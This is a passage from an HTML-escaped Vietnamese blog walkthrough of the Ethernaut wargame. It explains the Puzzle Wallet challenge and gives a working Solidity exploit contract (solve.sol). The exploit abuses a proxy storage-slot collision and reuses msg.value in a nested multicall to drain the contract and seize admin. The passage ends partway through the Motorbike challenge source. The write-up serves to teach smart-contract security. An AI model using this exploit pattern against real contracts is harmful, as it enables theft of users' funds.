&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">deposit&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">onlyWhitelisted&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">balance&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="n">maxBalance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Max balance reached&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">value&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">execute&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="nb">value&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">bytes&lt;/span> &lt;span class="n">calldata&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">onlyWhitelisted&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="nb">value&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Insufficient balance&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="nb">value&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span> &lt;span class="n">success&lt;/span>&lt;span class="p">,)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">to&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">call&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="nb">value&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nb">value&lt;/span>&lt;span class="p">}(&lt;/span>&lt;span class="nb">data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Execution failed&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">multicall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="n">calldata&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">onlyWhitelisted&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="n">depositCalled&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">length&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">_data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes4&lt;/span> &lt;span class="nb">selector&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assembly&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">selector&lt;/span> &lt;span class="o">:=&lt;/span> &lt;span class="nf">mload&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nf">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_data&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">selector&lt;/span> &lt;span class="err">==&lt;/span> &lt;span class="n">this&lt;/span>&lt;span class="err">.&lt;/span>&lt;span class="n">deposit&lt;/span>&lt;span class="err">.&lt;/span>&lt;span class="n">selector&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="err">!&lt;/span>&lt;span class="n">depositCalled&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Deposit can only be called once&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Protect against reusing msg.value
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">depositCalled&lt;/span> &lt;span class="err">=&lt;/span> &lt;span class="n">true&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">bool&lt;/span> &lt;span class="n">success&lt;/span>&lt;span class="p">,)&lt;/span> &lt;span class="err">=&lt;/span> &lt;span class="nf">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">this&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">.&lt;/span>&lt;span class="nf">delegatecall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="err">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="err">]&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Error while delegating call&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần rút hết tiền của contract và trở thành admin.&lt;/p>
&lt;p>Như challenge description đã gợi ý, mình tìm hiểu storage layout của proxy ra sao và tìm được link &lt;a href="https://medium.com/1milliondevs/solidity-storage-layout-for-proxy-contracts-and-diamonds-c4f009b6903">này&lt;/a>. Mình để ý đến đoạn này: &lt;strong>&amp;ldquo;A proxy contract and its delegate/logic contracts or facets (all terms for the same thing) share the same storage layout!&amp;rdquo;&lt;/strong>. Như vậy, ta sẽ hiểu là proxy contract và delegate contract chia sẻ chung storage layout. Do đó, 2 biến &lt;code>pendingAdmin&lt;/code> của &lt;code>PuzzleProxy&lt;/code> và &lt;code>owner&lt;/code> của &lt;code>PuzzleWallet&lt;/code> nằm cùng một slot, tương tự với &lt;code>admin&lt;/code> và &lt;code>maxBalance&lt;/code>.&lt;/p>
&lt;p>Chính vì vậy, ta có thể trở thành owner của contract &lt;code>PuzzleWallet&lt;/code> bằng cách gọi hàm &lt;code>proposeNewAdmin&lt;/code> của contract &lt;code>PuzzleProxy&lt;/code> với input là address của contract attack để có thể cấp quyền &lt;code>whitelist&lt;/code>.&lt;/p>
&lt;p>Khi đã trở thành owner, ta sẽ tìm cách trở thành admin trong contract &lt;code>PuzzleProxy&lt;/code>. Như vậy, ta cần chỉnh sửa giá trị của &lt;code>maxBalance&lt;/code>. Để ý rằng &lt;code>maxBalance&lt;/code> có thể thay đổi thông qua hàm &lt;code>setMaxBalance&lt;/code>, nên ta sẽ tìm cách gọi hàm này.&lt;/p>
&lt;p>Ta cần vượt qua điều kiện &lt;code>require(address(this).balance == 0, &amp;quot;Contract balance is not 0&amp;quot;);&lt;/code>, tức là rút hết tiền của server contract. Khi check trên console của Ethernaut bằng web3js, ta có thể thấy được server contract đang có 0.001 eth.&lt;/p>
&lt;p>Ta sẽ chú ý đến hàm &lt;code>execute&lt;/code>. Đây là hàm giúp ta có thể rút tiền của server contract nếu ta vượt qua điều kiện &lt;code>require(balances[msg.sender] &amp;gt;= value, &amp;quot;Insufficient balance&amp;quot;);&lt;/code>. Để có thể thay đổi giá trị của &lt;code>balances[msg.sender]&lt;/code>, ta chú ý đến hàm &lt;code>deposit()&lt;/code>. Nếu chỉ gọi hàm này, cả server contract và &lt;code>balances[msg.sender]&lt;/code> đều sẽ nhận được ether, và vì thế ta sẽ không bao giờ thực hiện được hàm &lt;code>execute()&lt;/code>. Chính vì vậy, ta sẽ hướng đến hàm &lt;code>multicall&lt;/code>.&lt;/p>
&lt;p>Trong hàm &lt;code>multicall&lt;/code>, ta có thể call nhiều hàm cùng một lúc, và trong hàm cũng đã check việc gọi hàm &lt;code>deposit&lt;/code>, khiến ta không thể gọi hai lần hàm deposit được. Nhưng hàm này không check việc gọi lại chính nó, và ta sẽ sử dụng lỗi này để exploit.&lt;/p>
&lt;p>Do hàm &lt;code>multicall&lt;/code> chỉ check xem hàm &lt;code>deposit&lt;/code> có được gọi nhiều hơn 1 lần hay không với mỗi lần chạy, ta sẽ gọi hàm &lt;code>multicall&lt;/code> trong chính nó, đồng thời khi gọi thì ta sẽ gọi tiếp hàm &lt;code>deposit&lt;/code>. Với cùng &lt;code>msg.sender&lt;/code>, ta có thể tăng giá trị của &lt;code>balances[msg.sender]&lt;/code> lên 0.002 eth, trong khi server contract chỉ tăng lên thêm 0.001 eth. Như vậy, &lt;code>balances[msg.sender]&lt;/code> đã bằng với số eth có trong contract, và ta có thể rút hết tiền của contract &lt;code>PuzzleWallet&lt;/code>.&lt;/p>
&lt;p>Như đã đề cập việc chia sẻ storage layout ở trên, do &lt;code>admin&lt;/code> và &lt;code>maxBalance&lt;/code> cùng 1 slot nên khi đã rút hết tiền của &lt;code>PuzzleWallet&lt;/code>, ta chỉ việc gọi hàm &lt;code>setMaxBalance&lt;/code> với giá trị là address của ta là xong.&lt;/p>
&lt;p>&lt;code>solve.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/puzzle_wallet.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PuzzleWallet&lt;/span> &lt;span class="n">IPuzzleWallet&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PuzzleProxy&lt;/span> &lt;span class="n">IPuzzleProxy&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPuzzleWallet&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PuzzleWallet&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPuzzleProxy&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PuzzleProxy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="n">data_&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodeWithSignature&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;deposit()&amp;#34;&lt;/span>&lt;span class="p">)];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="nb">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodeWithSignature&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;deposit()&amp;#34;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodeWithSignature&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;multicall(bytes[])&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data_&lt;/span>&lt;span class="p">)];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">solve&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPuzzleProxy&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">proposeNewAdmin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPuzzleWallet&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">addToWhitelist&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPuzzleWallet&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">multicall&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="nb">value&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">001&lt;/span> &lt;span class="kc">ether&lt;/span>&lt;span class="p">}(&lt;/span>&lt;span class="nb">data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPuzzleWallet&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">execute&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">002&lt;/span> &lt;span class="kc">ether&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPuzzleWallet&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">setMaxBalance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint160&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">fallback&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Bài học:&lt;/p>
&lt;ul>
&lt;li>Sắp xếp layout của proxy và delegate/logic contract của nó thật cẩn thận.&lt;/li>
&lt;li>Kiểm soát state của biến khi sử dụng &lt;code>delegatecall&lt;/code>.&lt;/li>
&lt;li>&amp;ldquo;Furthermore, iterating over operations that consume ETH can lead to issues if it is not handled correctly. Even if ETH is spent, &lt;code>msg.value&lt;/code> will remain the same, so the developer must manually keep track of the actual remaining amount on each iteration. This can also lead to issues when using a multi-call pattern, as performing multiple &lt;code>delegatecall&lt;/code>s to a function that looks safe on its own could lead to unwanted transfers of ETH, as &lt;code>delegatecall&lt;/code>s keep the original &lt;code>msg.value&lt;/code> sent to the contract.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;h3 id="motorbike">Motorbike&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-06/utils/Address.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-06/proxy/Initializable.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Motorbike&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// keccak-256 hash of &amp;#34;eip1967.proxy.implementation&amp;#34; subtracted by 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">bytes32&lt;/span> &lt;span class="k">internal&lt;/span> &lt;span class="k">constant&lt;/span> &lt;span class="n">_IMPLEMENTATION_SLOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">struct&lt;/span> &lt;span class="nc">AddressSlot&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="nb">value&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_logic&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Address&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">isContract&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_logic&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;ERC1967: new implementation is not a contract&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_getAddressSlot&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_IMPLEMENTATION_SLOT&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">value&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_logic&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span> &lt;span class="n">success&lt;/span>&lt;span class="p">,)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_logic&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">delegatecall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodeWithSignature&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;initialize()&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Call failed&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Delegates the current call to `implementation`.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">_delegate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">implementation&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">internal&lt;/span> &lt;span class="k">virtual&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// solhint-disable-next-line no-inline-assembly
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">assembly&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">calldatacopy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">calldatasize&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="ow">let&lt;/span> &lt;span class="nv">result&lt;/span> &lt;span class="o">:=&lt;/span> &lt;span class="nf">delegatecall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nf">gas&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">implementation&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">calldatasize&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
